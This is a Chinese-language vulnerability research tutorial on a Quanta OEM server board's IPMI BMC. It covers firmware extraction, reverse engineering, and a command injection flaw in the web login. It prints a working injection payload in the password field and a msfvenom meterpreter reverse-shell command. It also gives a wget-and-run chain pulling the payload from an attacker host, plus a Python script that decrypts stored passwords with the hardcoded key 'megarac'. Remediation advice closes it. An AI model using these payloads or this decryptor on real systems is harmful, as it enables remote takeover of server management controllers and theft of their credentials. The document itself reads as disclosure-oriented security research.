一次对服务器主板IPMI BMC的漏洞挖掘
字数 1297 2025-08-22 12:22:48
IPMI BMC漏洞挖掘与分析实战教程
0x00 背景知识
IPMI与BMC简介
IPMI (Intelligent Platform Management Interface) 是服务器主板上的管理接口标准,BMC (Baseboard Management Controller) 是实现IPMI的独立管理芯片。主要功能包括:
- 远程电源管理(开关机、重启)
- 温度监控
- 视频重定向
- 系统日志收集
- 独立于主系统运行
常见管理接口
服务器BMC通常提供三种管理方式:
- IPMI:通过ipmitool等工具进行命令行管理
- Web界面:基于HTTP/HTTPS的图形化管理
- SSH:命令行远程访问
0x01 环境准备与初步探测
硬件准备
- 广达工包测试板(Quanta OEM主板)
- 独立BMC芯片:AST2400 ARM SoC
- 独立SPI Flash存储
初始发现
- 使用ipmitool可以连接但功能受限
- 通过IPMI raw命令开启BMC Web服务:
ipmitool raw 0x32 0x6a 0x20 0x00 0x00 0x00 0x01 0x00 - 端口扫描发现443端口开放但无法正常访问
- SSH连接后立即断开
0x02 固件提取与分析
固件提取方法
-
使用专用工具socflash提取SPI Flash内容:
socflash_64.exe -b dump.bin -
使用binwalk分析固件结构:
binwalk dump.bin binwalk -e dump.bin
固件结构分析
- u-boot:引导程序
- Linux内核:ARM架构
- rootfs:CramFS格式的根文件系统
- JFFS2:配置文件分区
- Web静态文件:另一个CramFS打包
0x03 Web登录漏洞分析
漏洞定位
- 分析lighttpd配置文件,找到API处理库
libmodhapi.so - 使用IDA Pro逆向分析,发现字符串"Parameter Error!"
- 追踪到登录认证函数,发现命令注入漏洞
漏洞代码分析
认证逻辑存在直接拼接用户输入到system()调用的问题:
// 伪代码示例
char cmd[256];
sprintf(cmd, "check_auth %s %s", username, password);
system(cmd); // 直接执行拼接的命令
漏洞验证
使用Burp Suite构造恶意请求:
POST /api/login HTTP/1.1
Host: bmc-ip
Content-Type: application/x-www-form-urlencoded
username=admin&password=$(id>./test)
0x04 获取反向Shell
挑战
- 嵌入式BusyBox环境缺少常用工具(bash, nc等)
- 需要上传自定义二进制
解决方案
-
使用msfvenom生成ARM小端序payload:
msfvenom -p linux/armle/meterpreter/reverse_tcp LHOST=192.168.2.132 LPORT=4445 -f elf > meterpreter.elf -
通过命令注入下载并执行:
wget http://attacker-ip/meterpreter.elf -O /tmp/meterpreter.elf chmod +x /tmp/meterpreter.elf /tmp/meterpreter.elf
0x05 密码安全分析
密码加密机制
- 使用Blowfish ECB模式加密
- 硬编码密钥:"megarac"(存储在/conf/pwdEncKey)
- Base64编码的加密密码
解密脚本
import blowfish
import base64
data = [
b"jT+Yah6ySlTO9NOzIXxkogAAAAAAAAAA",
b"OY7fIRe9fsQkinACXfgmUQAAAAAAAAAA",
b"zvTTsyF8ZKLO9NOzIXxkogAAAAAAAAAA",
b"f23Dq/SFBErO9NOzIXxkogAAAAAAAAAA",
b"masB7IKqyJ1+7HMeU4vo9wAAAAAAAAAA"
]
def decrypt(cipherText):
cipher = blowfish.Cipher(b"megarac")
decrypted = b"".join(cipher.decrypt_ecb(base64.b64decode(cipherText)))
return decrypted
for i in data:
print(decrypt(i))
0x06 修复建议
-
命令注入漏洞:
- 使用安全的API调用替代system()
- 对用户输入进行严格过滤
- 使用白名单验证输入
-
密码安全:
- 使用标准哈希算法(如SHA-256)替代对称加密
- 每个设备使用唯一密钥
- 实现盐值(salt)机制
-
SSH配置:
- 修复指向错误配置文件的路径
- 实现正确的服务初始化检查
0x07 总结
本案例展示了从硬件探测到漏洞利用的完整过程,关键点包括:
- IPMI raw命令的灵活使用
- 嵌入式固件提取与分析技术
- 命令注入漏洞的发现与利用
- 受限环境下的反向Shell获取
- 嵌入式设备常见的安全问题分析
这种分析不仅适用于服务器BMC,也适用于各类IoT设备的漏洞挖掘与安全评估。